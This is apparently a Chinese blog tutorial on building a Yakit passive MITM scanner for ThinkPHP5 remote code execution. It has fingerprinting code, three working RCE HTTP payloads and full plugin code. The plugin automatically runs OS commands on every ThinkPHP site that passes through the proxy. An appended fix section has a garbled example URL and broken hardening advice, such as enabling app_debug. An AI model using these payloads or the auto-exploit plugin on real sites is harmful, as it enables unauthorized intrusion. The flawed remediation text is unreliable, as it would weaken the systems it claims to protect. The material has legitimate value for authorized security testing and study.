thinkphp5 rce漏洞被动扫描插件[mitm]

环境搭建

环境使用http://vulfocus.io/,启动一个thinkphp实例

指纹检测

因为可能同时开启多个被动扫描插件,如果所有网站都做一遍扫描,会造成很大程度上的资源浪费,可能会导致代理变慢

所以在开始扫描前需要对网站进行指纹识别

header特征

使用fofa搜索app="thinkphp"

发现大多数thinkphp的站点header都有X-Powered-By: ThinkPHP

还有X-Powered-By: thinkphp-bjyadmin(可能是经thinkphp二开的框架)

所以可以通过正则,对header进行匹配:

thinkphpFingers = ["X-Powered-By: .*((?i)thinkphp).*"] 
// headers是返回包的header 
checkHeader = fn(headers){ 
    for _,thinkphpFinger = range thinkphpFingers{ 
        if re.Match(thinkphpFinger,headers) { 
            return true 
        } 
    } 
    return false 
} 
 

favicon hash特征

通过thinkphp框架的默认favicon.ico识别

在yak里可以直接获取到站点favicon.ico的hash

hash, err = http.RequestFaviconHash(<favicon.ico地址>) 
 

得到thinkphp的favicon.ico的hash为1165838194,所以做如下判断

// rootUrl是网站根路径 
chechIcon2 = fn(rootUrl){ 
    hash, err = http.RequestFaviconHash(rootUrl+"favicon.ico") 
    return hash == "1165838194" 
} 
 

thinkphp的特殊Controller

在p牛的博客中看到thinkphp有个控制器4e5e5d7364f443e28fbf0d3ae744a59a,会返回站点的图标

所以当http://xxx.xx/index.php?c=4e5e5d7364f443e28fbf0d3ae744a59a返回一个图片时,就可以判定这是thinkphp站点

rsp,_ = http.Get("http://xxx.xx/?c=4e5e5d7364f443e28fbf0d3ae744a59a") 
rspB,_ = http.dump(rsp) 
header,body = str.SplitHTTPHeadersAndBodyFromPacket(rspB) 
println(string(body)) 
 

输出如图

从这里提取出两个指纹"IHDR"和"PNG",如下

// rootUrl是网站根路径
chechIcon1 = fn(rootUrl){
u = rootUrl+"?c=4e5e5d7364f443e28fbf0d3ae744a59a"
rsp,_ = http.Get(u)
rspB,_ = http.dump(rsp)
header,body = str.SplitHTTPHeadersAndBodyFromPacket(rspB)
return str.Contains(string(body),"IHDR") && (str.Contains(string(body),"PNG") || str.Contains(string(body),"JPEG"))
}

漏洞检测

如果返回包中包含预期的结果,就可以判定命令执行成功了,在此基础上,这个"预期的结果"还要和正常返回包区分开

如果是linux机器,可以执行这条命令echo -n 'asdasczxc' | md5sum,如果网站返回包包含asdasczxc的hash,则说明命令执行成功

如果是windows机器,可以执行dir C:\Windows\,因为windows机器C:\Windows\目录下有system.ini文件,所以如果返回包包含system.ini,则说明命令执行成功

paylaod

可以通过fuzz标签去写payload,如

GET /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={{url({{params(cmd)}})}} HTTP/1.1 
Host: {{params(target)}} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cache-Control: max-age=0 
Connection: close 
Content-Length: 0 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 
 

在poc.HTTP支持使用fuzz标签

持久化

yak的risk库可以对数据持久化

例如:

risk.NewRisk("https://www.baidu.com", risk.title("html源码泄露"), risk.type("敏感信息泄露"),risk.level("高危"))

mitm插件编写

mitm模块主要提供了5个hook方法,创建新插件时的模板有详细的注解介绍

因为每个网站只需要检测一次,所以选用mirrorNewWebsite方法(每当出现一个新网站时,此方法会被调用)

rootUrl = str.ParseStringUrlToWebsiteRootPath(url) 
// 手动对favicon.ico的hash计算方法就是,先base64,再MMH3Hash32计算 
if str.EndsWith(url, "favicon.ico") && codec.MMH3Hash32(codec.EncodeBase64(rsp)) == "1165838194"{ 
    testExp(rootUrl) 
} 
 

上面这方法调试发现,即使是第一次访问的网站,有时浏览器不会请求favicon.ico

所以还是用常规的http.RequestFaviconHash方法去获取hash

最终代码

payloads = [ 
    { 
        "name":"thinkphp5.0.23 5.0.7 ~ 5.0.23命令执行", 
        "payload":`GET /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={{url({{params(cmd)}})}} HTTP/1.1 
Host: {{params(target)}} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cache-Control: max-age=0 
Connection: close 
Content-Length: 0 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 
 
`}, 
 
{ 
    "name":"Thinkphp captcha命令执行", 
    "payload":`POST /index.php HTTP/1.1 
Host: {{params(target)}} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cache-Control: no-cache 
Connection: close 
Content-Length: 52 
Content-Type: application/x-www-form-urlencoded 
Origin: http://123.58.236.76:59844 
Pragma: no-cache 
Referer: http://123.58.236.76:59844/index.php?s=index/index/index 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 
 
s={{url({{params(cmd)}})}}&_method=__construct&filter%5B%5D=system 
 
`},{ 
        "name":"5.1.x命令执行", 
        "payload":`GET /index.php?s=index/\think\Request/input&filter=system&data={{url({{params(cmd)}})}} HTTP/1.1 
Host: {{params(target)}} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cache-Control: max-age=0 
Connection: close 
Content-Length: 0 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 
 
`}] 
 
thinkphpFingers = ["X-Powered-By: .*((?i)thinkphp).*"] 
 
testExp = fn(rootUrl){ 
    yakit_output(sprintf("%s发现thinkphp框架",rootUrl)) 
    host,port,_ = str.ParseStringToHostPort(rootUrl) 
    target = sprintf("%s:%d",host,port) 
    for _,payload = range payloads{ 
        out = "" 
        payloadR = "" 
        randomStr = str.RandStr(20) 
        result = codec.Md5(randomStr) 
        cmd = sprintf("echo -n '%v' | md5sum", randomStr) 
        rsp,req,_ = poc.HTTP(payload["payload"], poc.params({"cmd": cmd,"target": target})) 
        headers, body = str.SplitHTTPHeadersAndBodyFromPacket(rsp) 
        // println(string(headers)) 
        if str.MatchAllOfSubString(body, result){ 
            payloadR,_ = str.SplitHTTPHeadersAndBodyFromPacket(req) 
            out = sprintf("%s存在漏洞, pocName:%s, OS: Linux",rootUrl,payload["name"]) 
        } 
 
        rsp,req,_ = poc.HTTP(payload["payload"], poc.params({"cmd": "dir C:\\Windows\\","target": target})) 
        headers, body = str.SplitHTTPHeadersAndBodyFromPacket(rsp) 
        // println(string(headers)) 
        if str.MatchAllOfSubString(body, "system.ini"){ 
            payloadR,_ = str.SplitHTTPHeadersAndBodyFromPacket(req) 
            out = sprintf("%s存在漏洞, pocName:%s, OS: Windows",rootUrl,payload["name"]) 
        } 
        if out != ""{ 
            yakit_output(out) 
            risk.NewRisk(rootUrl,risk.title(sprintf("%s存在RCE漏洞",rootUrl)),risk.details(out),risk.type("RCE"),risk.payload(payloadR)) 
        } 
    } 
} 
 
checkHeader = fn(headers){ 
    for _,thinkphpFinger = range thinkphpFingers{ 
        if re.Match(thinkphpFinger,headers) { 
            return true 
        } 
    } 
    return false 
} 
 
chechIcon1 = fn(rootUrl){ 
    u = rootUrl+"?c=4e5e5d7364f443e28fbf0d3ae744a59a" 
    rsp,_ = http.Get(u) 
    rspB,_ = http.dump(rsp) 
    header,body = str.SplitHTTPHeadersAndBodyFromPacket(rspB) 
    return str.Contains(string(body),"IHDR") && (str.Contains(string(body),"PNG") || str.Contains(string(body),"JPEG"))  
} 
chechIcon2 = fn(rootUrl){ 
    hash, err = http.RequestFaviconHash(rootUrl+"favicon.ico") 
    return hash == "1165838194" 
} 
 
 
# mirrorNewWebsite 每新出现一个网站,这个网站的第一个请求,将会在这里被调用! 
mirrorNewWebsite = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) { 
    rootUrl = str.ParseStringUrlToWebsiteRootPath(url) 
    headers, body = str.SplitHTTPHeadersAndBodyFromPacket(rsp) 
    if checkHeader(headers) || chechIcon2(rootUrl) || chechIcon1(rootUrl){ 
        testExp(rootUrl) 
    } 
  
} 
 
# mirrorNewWebsitePath 每新出现一个网站路径,关于这个网站路径的第一个请求,将会在这里被传入回调 
mirrorNewWebsitePath = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) { 
    // rootUrl = str.ParseStringUrlToWebsiteRootPath(url) 
    // if str.EndsWith(url, "favicon.ico") && codec.MMH3Hash32(codec.EncodeBase64(rsp)) == "1165838194"{ 
    //     testExp(rootUrl) 
    // } 
} 
 

插件效果

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

### ThinkPHP5 RCE漏洞详细分析 #### 漏洞概述 ThinkPHP是一款广泛使用的PHP开发框架,在多个版本中存在远程代码执行(RCE)漏洞。这些漏洞主要由变量覆盖引起,特别是在`thinkphp/library/think/Request.php`文件中的`method`方法允许攻击者通过特定参数覆盖类的核心属性`filter`,进而触发RCE[^1]。 #### 影响范围 受影响的主要版本包括但不限于5.0.23之前的版本。具体来说,获取HTTP请求方法的方式存在问题,未正确过滤输入数据,使得攻击者能够调用`Request`类内的任意公共函数并构建恶意利用链路,最终实现远程代码执行[^2]。 #### 攻击向量 当应用程序未启用强制路由模式时,如果开发者未能充分验证传入的控制器名称,则可能导致未经授权访问内部功能接口的情况发生。这种情况下,攻击者只需构造特制URL即可绕过正常的安全机制来执行任意PHP代码片段或操作系统指令[^3]。 ```bash http://example.com/index.php?s=/Home/Index/index&method=call_user_func_array&function=var_dump¶ms[][a]=b ``` 上述示例展示了如何利用此漏洞发起一次简单的测试性质的探测尝试(实际环境中应遵循合法授权流程)。请注意,这里仅用于说明目的,并不鼓励任何形式非法行为。 #### 修复建议 为了防止此类安全风险的发生: - **升级至最新稳定版**:官方已经发布补丁解决了已知的安全隐患,请及时更新到最新的ThinkPHP发行版本。 - **严格控制外部输入**:对于所有来自客户端的数据都应当实施严格的校验措施,特别是涉及到路径解析、查询字符串解析等场景下的敏感操作。 - **禁用不必要的特性**:关闭那些容易被滥用的功能选项,比如动态加载模块支持或是自定义路由规则等功能;同时考虑设置更严格的权限策略限制某些API端点只响应内网流量。 - **增强日志审计能力**:部署完善的监控体系以便于第一时间发现异常活动迹象,并定期审查服务器上的各类记录文档寻找潜在威胁信号。 ```diff // 修改配置文件 application/config.php 中的相关项如下所示: &#39;route_check_cache&#39; => false, &#39;disable_functions&#39; => &#39;exec,passthru,shell_exec,system&#39;, &#39;app_debug&#39; => true, &#39;url_route_on&#39; => false, ``` 以上修改旨在减少可能存在的安全隐患,提高系统的整体安全性水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值